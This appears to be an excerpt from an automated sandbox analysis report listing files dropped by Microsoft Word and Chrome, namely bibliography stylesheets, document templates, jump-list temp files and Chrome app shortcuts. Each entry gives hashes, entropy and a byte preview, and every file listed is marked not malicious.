SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:QRi54vl:QP9
MD5:	A5E51FDFAF429614FB5218AB559D299A
SHA1:	262EC76760BB9A83BCFF955C985E70820DF567AE
SHA-256:	3E82E9F60CE38815C28B0E5323268BDA212A84C3A9C7ACCC731360F998DF0240
SHA-512:	9B68F1C04BDE0024CECFC05A37932368CE2F09BD96C72AB0442E16C8CF5456ED9BB995901095AC1BBDF645255014A5E43AADEE475564F01CA6BE3889C96C29C9
Malicious:	false
Preview:	..t.o.r.r.e.s.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EC9XABHB5LLKCDDVOZ83.temp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S19OLGQHBGAXW3NHT9Q9.temp

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms~RF1b8db.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 22 17:01:39 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.987303009877284
Encrypted:	false
SSDEEP:	48:8P8dEqTRy7FVHZeidAKZdA1JehwiZUklqeh3y+3:8P0wbgYy
MD5:	C98AE7983E63AFB575C84AE5B7655C09
SHA1:	ED7C32B9B7E4D1F0F95BBAC7CE2E53BECC6A695F
SHA-256:	5B4B26C8B9E9F16580C2AB8D2205B6F2A537CBE8943173F3841E85961BA82D43
SHA-512:	725F48BE69596C8061A17A045A048A63B0502F66641FD04EC8E50B0238182DD94D2592377AA501D289889C01A0EEB9BFF4700F069B659F062887D7043999B1A5
Malicious:	false
Preview:	L..................F.@.. ...$+.,........r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X2.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X2.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X2............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X4............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\.s......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 22 17:01:39 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0020691342062324
Encrypted:	false
SSDEEP:	48:8P8dEqTRy7FVHZeidAKZdA10eh/iZUkAQkqehIy+2:8P0wbq9Qly
MD5:	2232F7D8F8C381E0B3DB1243D3A37B58
SHA1:	A2F3B31BC6CB91751616273076B9C4566FF4FD46
SHA-256:	9F612CCFF0FAEE2AFB7D6DA5E0D9E7C962D398C434E37EDD3B56883346D2794D
SHA-512:	07BE553674653C1DD4CAE85FD929E25E1B4F994B69D293E3ED14B905FAA119085752F22AE1FE991DD895FC91A8C938390AFE0BFE8332FEC45BBF0CB2F405EB8E
Malicious:	false
